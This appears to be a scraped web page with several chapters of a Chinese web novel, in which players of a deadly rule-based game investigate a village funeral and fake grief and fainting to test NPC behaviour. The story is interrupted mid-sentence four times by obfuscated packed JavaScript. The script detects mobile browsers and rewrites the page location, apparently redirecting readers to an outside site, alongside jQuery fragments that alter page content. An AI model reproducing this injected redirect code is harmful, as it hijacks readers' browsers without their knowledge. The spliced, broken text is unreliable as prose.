就这么僵持了好一会,公鸡才盯着三人慢慢往后退了几步,跟着低头叼住男人的裤脚,将他拖回漆黑的小巷,只留下一条长长的血痕证,明刚才发生的一切不是三人的集体错觉。 “嗬!”在公鸡彻底消失后,谷琳琳才狠狠地松了口气,靠着喻诗瑭都站得摇摇晃晃。 “不是,这什么游戏啊?!”希泽攥着灯柄的手心里全是汗,表情茫然得像在怀疑人生。 喻诗瑭:“跟那只鸡一样疯的游戏。” “小喻姐,这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16662537|188515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时候就不要讲冷笑话了。”希泽面无表情地看着她,“笑不出来了啦。” “哦,抱歉。”喻诗瑭挠了下脸,扭头问谷琳琳,“刚才那个人是触犯规则了吗?” 谷琳琳点头:“应该是的,因为NPC不会莫名其妙攻击玩家的。” 希泽惊讶:“鸡也算NPC?” “算啊,这游戏里的树都算NPC。”谷琳琳非常认真地解释起来,“不过NPC不止在玩家触犯规则时会进行攻击,如果有玩家被系统判定为作弊,开挂这些利用不正当行为进行游戏,NPC一样会攻击该玩家。” 喻诗瑭问:“那怎么确定这人是触犯规则被攻击,还是被系统判为作弊而被攻击?” “如果有玩家被判作弊,系统会向所有玩家发放系统提示,我们都没有收到提示就表示这人是触犯规则了。” 盯着不远处泥土地上的点滴血迹看了一会,喻诗瑭突然问:“你刚才说规律可以从因触犯规则死亡的玩家身上找出,那是不是表示玩家的死亡方式是跟他触犯的规则相关?” 谷琳琳很肯定地说:“对,所有触犯规则的玩家死亡方式一定跟规则有关。” “好。”喻诗瑭突然转向希泽,让他再把副本介绍里的内容背一遍。 “啊?哦。”希泽不理解但听话,“一更鼓,鸡上架,二更天,狗叫家,三更半夜不回头,后影招魂怕人家。” “一更鼓,鸡上架。”谷琳琳比希泽先反应过来,求证般问喻诗瑭,“小喻姐,刚才那个人是被鸡啄死的,是不是跟这个鸡上架关?” “有可能,既然玩家死亡方式一定跟规则有关,那副本介绍里的内容应该就是提示了。” “为什么副本介绍的内容就是提示了?”希泽不是想抬杠,是真的单纯没明白两者间的关系,“有些游戏的提示是需要玩家在副本里边玩边找的,刚才被开启的那条规则,不也是玩家在游戏里找到并开启的吗?” “因为……”喻诗瑭在两双“求问”的眼神中顿了顿,把到嘴的解释又咽了回去,改成另一版说辞,“回想一下你以前玩过的游戏,那些游戏介绍是不是都简单粗暴,可以很快地勾起玩家的兴趣?” 希泽回想了一下,犹豫地点头:“倒是没错啦,但这跟这个副本的内容是提示有什么关系吗?” 喻诗瑭的回答同样简单粗暴:“这副本的简介抽象成这样,如果不是提示而是内容介绍,那文案组可以集体打包等辞退了。” “哦~有道理。”两道异口同声地赞同让喻诗瑭略微心虚地撇开脸。 完全没察觉到任何异常的希泽看着还挺开心:“太好了,我之前还以为小喻姐你不玩游戏呢!” 太好?什么太好? 鉴于希泽的关注点向来神奇,喻诗瑭不好问,于是干笑一声又糊弄起来:“偶尔会玩一些,为了…嗯…陶冶情操。” “哇,原来陶冶情操这词还能这么用。”希泽一脸学到了的认真表情,“以后再有人说玩游戏是玩物丧志,我就跟他说这是陶冶情操,果然听着都文艺了。” 喻诗瑭:“……你开心就好。” 而一旁默不作声的谷琳琳则是跟着举一反三,表情豁然开朗。 哦?!那她以后看小说刷视频,不是也可以用陶冶情操来修饰了吗?! 8. 三更鼓 不知道自己一句无心的糊弄已经把两人带偏,喻诗瑭还在思考所谓的规则。 虽然她能确定规则的提示跟内容介绍有关,但最重要的违规条件是什么呢? 之前村长给的三条规则从字面上就能很好的理解。 “村里没路灯,所以太阳落山后请各位不要随意出门。” 这条规则看似是让玩家不要出门,但它用词是“不要随意”而不是“不能”,也就是说在有前提的情况下,天黑后出门时没有问题的,否则他们一群人早在副本开启的瞬间就该集体违规了。 这也侧面验证了好友栏里“锦鲤”给过的提示没问题,每条规则确实是可以灵活遵守的。 那么这条规则的重点就在于“没路灯”,正巧挨家挨户门口挂着“祭奠”的灯笼组成了“路灯”,村长来接他们的时候,手上也提着煤油灯。 所以天黑后出门的前提是不是必须要有“路灯”,或是其他任何可照明的东西都算? 有了假设就要经过验证,理论才能成立。 希泽说过,他在待机界面的确有看到所谓的总积分排行榜,而排行榜的底部也确实备注了要先完成三轮副本解锁新人成就。 这也说明谷琳琳说的“新人玩家要经过三轮副本后才会进入总积分排行榜”这件事是真的。 除非希泽跟谷琳琳两人是一伙的,专门等着坑自己,否则还在新手保护期的自己,就是验证假设的最好机会。 哪怕新人最后要带着前三轮的积分直接进入排名,他们也有第一局的试错成本。 这么换算还是值得的,毕竟只有摸清了规则,才能更好的钻空……才能更好“遵守规则”。 所以她摘了村民挂在门口的灯笼,走进漆黑的小巷来验证自己的假设是否成立。 他们没出事,测试通过一半,但她还需要另一半测试来确保自己的假设百分百正确——如果不带任何照明进入漆黑的小巷内,是不是真的违规。 这个暂时没法验证,就算她有办法让希泽或是谷琳琳去完成另一半测试,也狠不下心真这么干。 人啊,要么就没有良心,要么就全是良心,良心偶尔冒头的人才是最烦的。 喻诗瑭默默地在心里嫌弃了一下自己,也不知道自己以前是不是个没良心的。 反正不管她良心比例有多高,目前照她的假设测试出来的结果都没让自己出事,也就是说逻辑上是可行的。 那同理可证剩下的两条规则里“粮食得来不易,请不要浪费”是明确了“不要浪费粮食”,以及“如果需要帮忙,请勿把外村人认成本村人”也确实是她一开始想的,需要帮忙时只能找本村人。 只是这三条规则字面意思其实都相当明显,且能自测试出来,再笨的人过个一两次副本,被坑个几次也能发现,喻诗瑭觉得村长给出的规则更像是给玩家的一个热身,真正麻烦的是那些被玩家开启的规则,以及副本介绍里含糊不清的提示。 谷琳琳说玩家的死亡方式一定是跟规则有关,在知道这个大前提下,被鸡啄死光看字面上的内容,确实可以跟提示里的第一条“一更鼓,鸡上架”联系在一起。 那问题又回来了,这名玩家到底做了什么才触犯了规则?这点从提示的字面上真的是看不出一星半点,唯一能确定的只有刚才的听到的更鼓声音。 “小喻姐你盯着灯笼想什么呢?眼睛都直了?”希泽见她半天没说话,好奇地跟着她看了半天灯笼,啥也没看出来。 “我在想刚才那名玩家做了什么才触犯了规则。” “不是说他的死跟鸡有关吗?那应该是惹到鸡了?”希泽自己讲完都觉得有点荒唐,“嘶”了一声开始混乱找补,“难道是踩到鸡了?肚子饿了偷鸡蛋?挑衅鸡了?” “不太可能。”虽然希泽猜的没逻辑,但喻诗瑭回答地还挺认真,“原话里‘鸡上架’的意思是鸡回自己的窝里,上架睡觉。” “上架睡觉?”希泽摸了摸下巴,脑子拐着弯地往可能相反的意思去思考,“难道是不能睡觉?因为鸡睡了,所以玩家不能睡?” 喻诗瑭:“……应该不是吧。” “或许……”谷琳琳在一旁怯生生地提问:“会不会跟回窝有关?” “你的意思是?” 喻诗瑭的语气没什么变化,可谷琳琳就觉得自己在她的表情里看到了鼓励,于是清了下嗓子把自己的猜想说出来:“咳,那个,我们的任务不是找‘家’吗?家跟‘窝’不是一个意思嘛,有没有可能这玩家是找错‘家’了?” “有道理诶。”希泽第一个赞同,随即又拐了个脑回路,“那有没有玩家是找对‘家’结果触犯了规则的可能?因为鸡回窝是回自己家?” “这个不太可能,因为原则上来说,规则是不会跟任务有冲突的,不然这任务就成死结了。”怕自己说得不够清楚,谷琳琳打了个比方,“例如我们现在接到的这个任务是个无时限任务,如果规则跟这个任务相冲突,那我们为了活命就不能做这个任务,可不完成这个任务我们就永远接不到下一个任务,有时限的任务也是一样,做任务会违反规则,必死,不做任务到时限了又会被扣积分,通常规则不会这么不讲理的。” “对哦!逻辑通!”希泽认认真真地给她比了个大拇指,“厉害!” 突然得到这么直白地夸奖,谷琳琳有点不知所措,下意识否认:“没有没有,因为我之前过过四个副本,所以对规则有一定的了解,不厉害的。” “能独自过四个副本已经很厉害了啊。”希泽没有一丝不好意思,满是骄傲地抬起下巴,“你看我,如果不是小喻姐刚才在吊桥那救了我,我这个副本还没开始就结束了,所以你是不是很厉害?” “这……这样吗?”谷琳琳不明白对方表情如此骄傲的点在哪,于是紧张地看向喻诗瑭寻求认同。 “真的,你很厉害,理论成立前都是先有的假设。”喻诗瑭拍了拍她的背,看出她的不自在,于是换了个话题继续,“你知道那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16662538|188515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些需要玩家开启的规则是随机出现的,还是有先后顺序的?” “这倒没有先后顺序,所有规则都是一开始就存在的,主要是看玩家先发现哪条规则。” “那这规则要怎么找?” “有的是个人任务附带的,有的是在NPC那触发的,我之前拿到过一条规则,就是因为帮了一个老人。”说完怕自己的话会误导两人,谷琳琳赶紧补充,“当然不是说做好事就一定能拿到规则,只是恰好我做的那件事开出了规则,有的时候你做好事也可能会触犯规则。” “明白了。”喻诗瑭点点头,抬起灯笼往前面看了看,想了一下还是提议,“既然有人开出规则,那要么是完成了任务,要么是有人遇到NPC做了什么特殊的事,我们先往有人的地方去看看吧。” “可小喻姐你不是说人多的话,出事了肯定会连累我们吗?现在规则都从‘3’变成‘4’了诶。”希泽特地比了四根手指出来强调。 本来走后巷就是为了测试规则胡诌出来的理由,喻诗瑭脸部红心不跳地继续圆:“可我们在小巷里一样没躲过冲出来的人,事实证明远离小巷也未必安全,不如主动靠近人群想办法收集情报。” “哦!有道理!”希泽把四根手指换成了一根大拇指,“还得是小喻姐。” 也还得是你啊,捧哏王。 喻诗瑭也回了他个大拇指,希泽心满意足。 “你还能自己走吗?”喻诗瑭回完希泽又回头问谷琳琳。 谷琳琳听到问话呆了两秒才意识到,自己居然还挂在喻诗瑭的身上,她立刻尴尬地动了动腿,确认自己不会松手即落地后赶紧站直,脖子到脸直接红成一路,连连道歉:“不好意思不好意思,我没注意到自己是什么时候好的,不是故意想增加你的负担,谢谢你。” “没事,你也不重,算不上负担。”喻诗瑭说得是实话,“走吧,不舒服就说,我们可以走慢一点。” “对呀对呀。”希泽也跟着附和,“不然一回头发现你不见了也是挺可怕的。” 也不知道是哪一句戳到了谷琳琳的笑点,她噗嗤一下笑出声,在两人不解的目光中笑着点头:“好的好的,我一定会说的。” “……那走吧。” 喻诗瑭没选择往回走,反而是绕过地上那条长至黑暗里的血痕,往侧边一条小道走去。另外两人也没多问,一左一右地跟在她身后,把灯笼举得老高。 三人走后没多久,一道身影从一旁的墙边翻出,落在了他们刚才停留的地方。 寸头举着手电筒张望了一圈没发现帽子男的身影,他没找人更没犹豫,直接扭头顺着刚才三人离开的方向就跟了上去。 刚刚还有些热闹的小巷瞬间只剩地上孤零零的血迹,而地上的泥土也在小巷重回黑暗后仿佛有了生命一般,慢慢将那条骇人的血痕包裹住,细细吞噬。 没一会,整条血痕就被泥土地吸得干干净净,一点印记都没留,仿佛刚才什么都没发生过一样。 9. 三更鼓 前门巷子确实比后面歪七扭八的小巷热闹,主要原因是来自不远处那个灯火通明的小院。 小院外面挂着不少白绫与孝幡,院里的房子说不上豪华,但比起一路过来看到的红砖青瓦小平房,已经能称得上是精致了,只不过这会不少身穿素色前来吊唁的人正进进出出,导致平时看着还算宽敞的小院与大厅都显得拥挤起来。 三人走到小院外面探头往里看,正对院子的大门敞开着,虽然屋里屋外都有不少客人,但他们还是一眼就看到客厅中间摆放着的棺材。 “这就是村长家吧?”希泽看着来来往往的人感叹,“好多人啊。” “是的吧。”喻诗瑭扫了一眼目前能看到的人,跟希泽确定,“这里面哪几个是玩家?” “哦,那个穿黑色裤子,手上拿着白布戴金链的是,门口那对靠在一起的母女是,还有——”希泽没问喻诗瑭要干嘛,问啥答啥地把看到的玩家一一指出。 在场的玩家人数比喻诗瑭预料的少,大部分还是陌生的NPC,她在心里默默算了下,除去刚才在吊桥上被拖进河里的6个,以及被公鸡拖走的一个,目前还剩13个,去掉他们三个跟在场的5个,还有5名玩家不知去向。 喻诗瑭转头问谷琳琳:“我们是看不到剩余的玩家人数对吗?” 谷琳琳仔细回想了一下才给了肯定地回答:“副本中看不到,只能在副本结束后的结算页面上看到,不过我们现在看到的那些人可能也不全是NPC。” 喻诗瑭“OK”地手势还没来得及比出就顿在原地:“什么意思?” “准确的说,那些人的内在?内里?原本?反正就是他们是NPC,也可能不是原本的NPC。” 意识到自己用词比较混乱,谷琳琳稍稍组织了一下语言顺序:“你们的任务界面上应该也有一行叫角色类型的吧?” 果然有其他意思。 喻诗瑭不动声色地跟希泽一起点头。 见两人都点头了,谷琳琳才继续解释:“我听内测就进来的老玩家说过,一开始是没有角色类型这一行的,大家进入副本后还是玩家,只是随机到的身份不同。” “就像我们这次的身份是出门务工的村民,然后回来参加老村长的葬礼,至于每个玩家的身份细节,就要靠玩家自己去摸索,对自己身份资料完善的越详细,能拿到的线索就越有利。” “哦当然,他们也跟我们现在一样,主线还是接任务,接个人任务跟公共任务,完成任务后攒积分,开规则。”谷琳琳说着说着突然压低了声音,“但是自从游戏出bug以后,任务界面上就多了一行角色类型。” 喻诗瑭心里隐隐有了想法,但还是等着谷琳琳说完。 “虽然大部分玩家还是会随机成玩家,哦,他们现在叫这个为‘任务角色’,反正随机成玩家的人保持不变,该干嘛还是正常干嘛,角色类型上面显示的就是‘玩家’两个字,但也有小部分玩家会随机成NPC,他们的角色类型就会显示为‘NPC’。” “啊?”希泽实在忍不住插了一嘴,“所以你的意思是这些NPC里,也有可能是玩家随机的?” “不只是这些NPC,玩家有可能随机成副本里任何一个NPC,包括刚才那只公鸡玩家的鸡,也有可能是玩家随机的。”谷琳琳这一句真是达到了语不惊人死不休的效果。 “我靠,随机成一只鸡诶!”希泽莫名代入了一下自己,表情相当一言难尽。 谁知道都这样了,谷琳琳还能再扔个重磅炸弹:“我之前听说过有个玩家随机成了一棵树,在副本里先是被砍掉做成了床,然后因为是严寒副本,后面又被人拆了当柴烧,还没出副本精神就崩溃了。” 听得希泽原本就大的眼睛,直接给瞪圆了:“……后,后来呢?” “不知道,我也是听说的,或许是假的也说不定。” 显然谷琳琳地补救没能让希泽缓过来,他的五官已经从一个大帅哥扭曲成了鞋拔子,相当失控。 喻诗瑭倒是淡定,因为她更在意的是其他点:“这些穿成NPC的玩家也跟‘任务玩家’一样需要做任务吗?或者说他们要怎么获得积分?” “他们也做任务,但跟玩家的任务不一样,我也不知道全部,因为NPC的种类太多了。”谷琳琳只能把自己知道的个别例子举出来。 “我只知道像刚才那只公鸡,它就属于惩戒者,专门处理触犯规则的玩家,如果有玩家这个副本随机到它身上,那它每处理一个玩家,就能得到相应的积分,不过惩戒者不能主动伤害玩家,必须是玩家自己触犯了规则他们才能动手。” “如果他们尝试诱导玩家触犯规则呢?”喻诗瑭提出假设,“给玩家含糊地暗示,让他们去触犯规则。” “不,不行的!”谷琳琳慌忙摆手,“这属于违规了,系统会监测每一个人,包括NPC的。” “那如果NPC跟玩家联手呢?”喻诗瑭又提出新假设。 “更不行啦!系统有说过的。”深怕喻诗瑭产生什么奇特想法,谷琳琳急得语速都变快了,“系统是严禁玩家通过任何违规手段抢夺积分与作弊,NPC跟玩家联手属于严重作弊了,两个人都会被处罚,严重的就不只是关关小黑屋了,而是直接强制出副本,并且清零所有积分。” “哦这样啊……”喻诗瑭在谷琳琳地注视下,默默收起遗憾的表情,干咳一声表示,“我就好奇问问。” 她怎么这么不信呢! 谷琳琳警惕地再一次强调:“系统真的一直在盯着我们每一个人。” “明白明白。”喻诗瑭比了个“OK”地手势,跟着话锋一转,问了个风马牛不相及的荒唐问题,“话说你会哭丧吗?” “哈?” 话题转换得过于离谱,属于上一秒天,下一秒地,谷琳琳第一反应是怀疑自己的耳朵出了问题,满脸不可置信地反问,“你是问我会不会……哭丧?” “对。”喻诗瑭着重强调了一下,“要那种真情实感,嗷嗷大哭的那种。” 谷琳琳:“……” 超纲了。 一看谷琳琳为难的表情喻诗瑭就知道对方不行,随即转而看向希泽。 希泽一副就等你问我的拽样,小下巴一抬,嘴角一勾,右手豪气地拍了两下胸口,跟着比了个食指,砸来两个中气十足的字:“包的。” “不愧是你。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16662539|188515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喻诗瑭鼓掌,及时表扬。 谷琳琳不明所以,只觉得自己应该能逃脱“哭丧”的任务,于是赶紧跟上掌声。 被鼓舞到的希泽更兴奋了,眼睛发亮地问:“要我怎么哭?你是要先酝酿,再落泪,最后崩溃地三段式哭法,还是撕心裂肺地咆哮式哭法,我还会闷不吭声地内敛式哭法,只要你说得出,我就能做得到,保准哭的让你满意。” “不用花里胡哨,直接撕心裂肺,看到那几个人没有?”喻诗瑭示意他往坐在棺材前,那几个披麻戴孝正烧纸的人看去。 “看到了!” “好,一会你跟我一路哭进去,别管我干什么说什么,你就哭你的,我一给你使眼色你就嗷得更大声,能不能行?” “能不能行这个问题就不该出现在我面前,等着吧。”希泽相当自信地开始挽袖口,并放下豪言,“前有孟姜女哭倒长城,今有我希小泽哭塌房梁。” 谷琳琳不知道谁是孟姜女,但她回想起之前这两人在吊桥旁的行为,觉得自己已经能预想到一会可能会发生的场景了,于是表情复杂地在希泽和喻诗瑭的脸上来回扫视,有些心疼这两张极具冲击力的建模脸。 这两人就不能做些对得起自己这张脸的事吗?!颜控狗发出无声地呐喊。 然而不等她替那两张脸委屈,就看到喻诗瑭又把目光移了回来,跟自己对上,谷琳琳呼吸一滞,反应及时地抢在对方前先开口:“我真不会哭!” “别担心,你不用哭。”喻诗瑭拍拍她的肩,安慰了一句就开始安排起来,“一会你就跟在我们身后进去,同样别管我们干什么,说什么,你就记得一个反应,就是希泽一晕倒,你就跟着晕,死不睁眼的那种。” “啊?”谷琳琳迷茫。 “哦!”希泽又惊又喜,“还有晕倒的戏份?!” “有,还是重中之重。”喻诗瑭认真地叮嘱他俩,“你们只要记住一件事,那就是一直到他们把我们送回各自的‘家’之前,无论发生了什么,只要我没开口,你们都不能睁眼,明白了吗?” 两人反应了好一会才意识到喻诗瑭这么做的目的,希泽率先提问:“可是小喻姐,如果他们不送我们回去怎么办?假设他们随便找个房间把我们放那,那我们不是白搭?” “放心吧,他们一定会送你们回去的。”喻诗瑭明明语调没什么起伏,表情也没太大变化,但说出来的话总能给人一种莫名信任感。 “因为我还清醒着。” “!!嗯!”希泽猛点头。 “……” 谷琳琳觉得也就亏得希泽是人,但凡是只宠物犬,这会尾巴估计都激动地摇飞了。 反观她自己在那挣扎半天,还是抱着希望问了一句:“小喻姐,咱们就没有其他比较体面一点的办法了吗?” “有是有,但是——” 喻诗瑭这回答让谷琳琳心里一咯噔,果不其然,下一秒就听到她继续说:“但是刚才听你说NPC有可能是玩家以后,我觉得我们必须试试。” “啊?”谷琳琳脸上出现了搬起石头砸自己脚的破碎感,弱弱地问:“试试什么?” “试试这些NPC的底线在哪里。” 10. 三更鼓 喻诗瑭对希泽跟谷琳琳心里多少还是有些顾忌,先不论对这两人的信任有多少,她自己还处于失忆状态呢,她连自己失忆前是好人还是坏人都没法保证,又怎么能确保别人是好是坏呢。 而且跟睁眼就在游戏待机界面里的两人不同,她是一睁眼人就已经在副本里了,虽然不排除自己可能是被游戏拽进来时伤了脑子,导致失忆,但她身上无法解释的东西显然比那两人多太多。 别的不说,光是好友栏里那个给自己发警告的人是谁就够她猜的了,她一个包裹空,积分空,记忆空,连排名都是未开启的新人玩家,从哪来的一个好友?还能给她发那么多条提醒。 这事要放其他游戏,那不是bug就是挂。 最重要的是——很多东西她目前根本无法求证,这才是最致命的。 所以她也不敢说太多自己的推测跟想法,毕竟说多错多,一不留神可能就会暴露一些自己都不知道的问题。 好在这两人也没多问,希泽是太兴奋,谷琳琳则是抱着“不知者无罪”的鸵鸟想法,不敢多问。 几句简单地叮嘱,以及约定好明天见面的时间地点后,喻诗瑭带着两人就往院里走。 虽然屋内屋外的人数是平时的好几倍,但碍于场合,在场的人要么安安静静的坐着,要么说话都是压着声音。 全场窸窸窣窣的声音加起来还没偶尔一个咳嗽声大,因此当喻诗瑭跟希泽两人一路嚎啕大哭地进来时,立马成为全场焦点。 谷琳琳低着脑袋跟在两人身后,眼神空洞得仿佛失去了灵魂。 希泽哭得再怎么惊天动地她也不意外,毕竟这人的脑回路就是跟别人不太一样,完全不知道啥叫丢人,还能越哭越上头。 但喻诗瑭哭得这么天崩地裂是真的让她大受冲击,之前她一直觉得这人看起来淡淡的,就算是拽着那什么临时村长在河边打滚的时候,她也只觉得对方是反应快,顶多动作出格点,可那也是为了保命。 所以在她的想象里,喻诗瑭虽然会哭,但不至于到夸张,至少会比希泽收敛。 她没想到的是“开演”后,喻诗瑭是说变脸就变脸,一点形象都不顾,一点面子都不留。 进门“噗通”一下就跪在棺材前,扶着棺材哭得比希泽更离谱,边哭还边自责自己没来得及赶回来见老村长最后一面,戏份加得那叫一个足,比专门哭丧的演员还专业,带的希泽也有样学样。 就他俩这一个比一个凄厉地哭法,不知情的人看了估计还以为过世的是他俩亲爹,连村长一家人都看得目瞪口呆,捏着冥钞的手悬在火盆上,半天愣是没扔一张。 最后还是村长老婆吴婶被火苗烫了一下先回过神,提着麻布赶紧过来扶:“哎呦,这谁家娃子这么有心啊,快起来快起来。” 喻诗瑭看到有人过来哭得更起劲了,一个反身抓住对方的双手,哭成这样“台词”也是一点不含糊,听得吴婶忍不住又红了眼,就是半天想不起这俩人是谁:“娃儿你是哪家的啊?” “您都不记得我了,怪我一直没回来啊!”喻诗瑭干脆“哐嘡”一下坐地上,“都说大城市好,好在哪我也不知道,钱没赚多少,回来还成陌生人了,我当时就不该出去的啊!我好好待着也能见上村长最后一面了啊!” “孩子快别这么说,我,诶,我越看你越觉得你还是有点眼熟,是不是?你们说是不是啊?!”最后的二连问是吴婶对着在场的其他人问的,看似是问题,实际是求助。 在场的人被吴婶这么一问,赶忙你一言我一语地开始附和。 “啊,对对对。” “是是,我也看着眼熟。” “对对,这侧脸看着确实熟。” “我也看看,我也看看,啊看不清啊。” …… 听到讨论,喻诗瑭扶着吴婶的手抹了把眼泪,抬起头露出整张脸。 刚才进门前她特地把自己的长发扎成丸子头,脑门光亮,一根碎发都不允许出现在脸上,生怕有人看不清自己长啥样。 终于有几张疑惑脸在经过回忆后变得不确定起来。 “诶,你看她是不是后巷老王家的闺女?” “你别说,还真有点像。” “就是的吧?” “诶,是,是吧,你是老王家的闺女吧?”吴婶跟抓着救命稻草一样问喻诗瑭。 喻诗瑭装作没听到,眼睛一眯,继续嗷得上气不接下气:“您,您,呜呜,我,呜呜,老王,呜呜呜!” “啊?不,不是吗?”吴婶慌慌张张地抬头看向那几个猜测的人。 “不,不是吗?”最先说的那个村民也跟着慌了,脑子都快转打结了也没想到第二个可能,结结巴巴地重复,“不,不能吧,就,就是啊,你看,你看她脸型,眼睛,都跟她妈妈长得一模一样!” “是啊,你别说,还真的一样。” “对对,我想起来了。”站在最外围的老头一拍脑袋,斩钉截铁地说,“就是老王家的闺女,之前在老王家看到过合照,上面那个是你吧?” “你这么一说我也想起来了,那张照片我也见到过。” “是了是了,我也是看到过。” …… 一连几个肯定句让喻诗瑭的哭声渐渐降了下来,逼到这份上也没第二个答案,看来是没错了。 得到验证后,喻诗瑭抽抽搭搭地说:“是啊,我是啊,您终于认得我了,我,我以后一定常来看您。” “诶好,好孩子。”吴婶连连点头,可她一口气还没松开,那边收到喻诗瑭暗示的希泽就“噗通”一声“晕倒”在地,毫不拖泥带水。 “哎呀,这孩子怎么了是!” “伤心过度了吧?” “一个大小伙子这么虚呢?” “这又是谁家的孩子,快扶起来扶起来!” “快看看谁家的。” “是老刘家的孩子吧?” “没错没错,就是这大帅小伙。” …… 围在旁边的村民赶忙地冲上来帮忙,七手八脚地把希泽扶到一旁。 默默站在后面的谷琳琳见状,心一狠,眼一闭,一脑袋跟着栽倒在地,原本就嘈杂的现场,更混乱了。 “哎呀怎么又晕倒了一个?这又是谁家的?” “现在的孩子身体怎么这么不顶用。” “快快扶起来。” “我就说城里不如村里养人吧,这孩子们上班都上出毛病了。” “快别说了,赶紧给人让开通通气。” …… 一回生二回熟,这都到三了,村民们已经习惯成自然,几个大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16662540|188515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 婶扶起谷琳琳第一件事就是认脸,两三句就把她身份也认出来了,毕竟这村子本来就不大,拢共就没几户人家,各个都是抬头不见低头见的,认个人还不简单。 喻诗瑭趁乱又抬眼扫了圈,扶着一旁的吴婶颤颤巍巍地就要站起来:“要不我来吧,我来把他们送回去,老村长这还得守夜呢,我们不能一回来就给村子添乱。” “哎哟都是自家人,说什么两家话,你自个都站不稳了,还送什么啊。”吴婶把喻诗瑭扶起来,拍了拍她的手安慰,“送也是我们找人去送,你个小姑娘哪能送的动,那还晕着个大小伙呢。” “我们邻里邻居自己村人送就算了,别的叔叔婶婶特地从隔壁过来给老村长守夜,怎么好麻烦人家。”喻诗瑭“虚弱”地说,“再说也他们也不一定认得路。” “这里这么多自己人,哪用得着麻烦外村人。”吴婶赶忙热心肠地招呼起来,“三婶子你跟七婶帮忙把那姑娘……那姑娘是陈爷爷家的孙女吧?” “是的是的,我认得,我知道怎么走,你就放心吧!”扶着谷琳琳的大婶豪气地喊了一嗓子,跟另个婶子轻松地架起“昏迷”的谷琳琳,身体棒得是健步如飞。 剩下的人也不知道从哪搞了个板车过来,把希泽往上一放,两位头发灰白的老人推得那叫一个稳当,气血看着比年轻人足。 这会就剩个看着喘气都困难的喻诗瑭,吴婶担忧地问:“要不我也找两个人把你送回去吧?” “没事,不用这么多人。”喻诗瑭“费力”地靠自己站稳,装模作样地歇了两口气,跟着才指着角落里的一个人开口,“麻烦他送我一下就行。” “………………” 好不容易换了身衣服,还新做了个造型的潮人村长,刚进来没两分钟就看到喻诗瑭指向自己的手,他不可置信地指着自己,眼带威胁地向喻诗瑭确认:“你是在说我吗?” “是啊。”喻诗瑭不为所动地微微一笑,“顺便谢谢你今天去接我们。” 一想到在吊桥边发生的事,潮人村长就恨不得咬碎牙:“你一个姑娘,我一个男的,送你不合适,对吧吴婶?” “这个确……”吴婶犹豫地话才开口,喻诗瑭就幽幽地接过来。 “这有什么不合适的。”她抬头看吴婶,脸色没比虚弱的林黛玉好到哪去,“吴婶,这么多隔壁村来的叔叔婶婶都在呢,咱们自己人得多留下来帮帮忙,我自己能走,也不用人背着扶着,村长他年轻力壮走的快,送我一个来回不耽误事。” “当然,如果村长嫌麻烦就算了。”喻诗瑭吸了吸鼻子,绿茶味飘香四溢,“对不起啊吴婶,我只是因为太难过,这才给您添了麻烦,您别在意,我自己也是能走回去的,明天我还来看您。” “说的什么话,都是自己人,送两步路有什么麻烦。”吴婶一听,当下就不乐意了,又怕再多说两句,喻诗瑭会跟那两个一样原地晕过去,赶紧指使起潮人村长,“小谢你怎么回事,都什么年代了,你思想怎么比我们这些老东西还封建,再说现在才几点,快把老王的闺女送回去。” “……” 小谢村长深吸一口气,半天终于挤出一个皮笑肉不笑地回应。 “好!啊!” 哇,喻诗瑭在心里给自己点了个赞。 验证成功,理论再+1! 11. 三更鼓 月黑风高夜,杀人放火天。 喻诗瑭抬头看了看天,又瞟了瞟身边的人,感觉除了天上没星没月外,其他要素真是一应俱全。 得亏这条道也就不到三米宽,但凡再宽点,自己估计都蹭不到对方手中煤油灯的亮光。 一路上喻诗瑭眼观鼻,鼻观心,跟老僧入定一样,完美无视对方极致的黑脸,跟都快实体化的怨气。 毕竟对方越生气就表示自己的验证越成功,NPC在规则上的限制果然比玩家更死板。 